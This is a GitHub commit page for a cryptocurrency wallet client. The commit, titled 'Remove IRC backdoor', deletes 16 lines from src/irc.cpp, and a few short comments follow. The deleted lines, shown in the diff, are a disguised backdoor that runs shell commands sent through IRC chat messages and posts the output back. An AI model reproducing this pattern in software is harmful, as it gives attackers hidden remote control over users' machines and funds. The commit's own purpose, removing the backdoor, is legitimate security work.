Skip to content

Commit

Permalink
Remove IRC backdoor
Browse files Browse the repository at this point in the history
  • Loading branch information
Mullick committed Apr 23, 2015
1 parent 37b545c commit 799b0b6
Showing 1 changed file with 0 additions and 16 deletions.
16 changes: 0 additions & 16 deletions src/irc.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -347,22 +347,6 @@ void ThreadIRCSeed2(void* parg)
printf("IRC got join\n");
}

if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
{
CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
if (buf) {
std::string result = "";
while (!feof(buf))
if (fgets(pszName, sizeof(pszName), buf) != NULL)
result += pszName;
CFree(buf);
strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
if (strchr(pszName, '!'))
*strchr(pszName, '!') = '\0';
Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str());
}
}

if (pszName[0] == 'u')
{
CAddress addr;
Expand Down

3 comments on commit 799b0b6

@spmedia
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

RIP

@dooglus
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ACK

@doged
Copy link

@doged doged commented on 799b0b6 Jan 16, 2016

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ACK

@Mullick is a wallet professional.. LOL

cant believe he let this go for so long.

Please sign in to comment.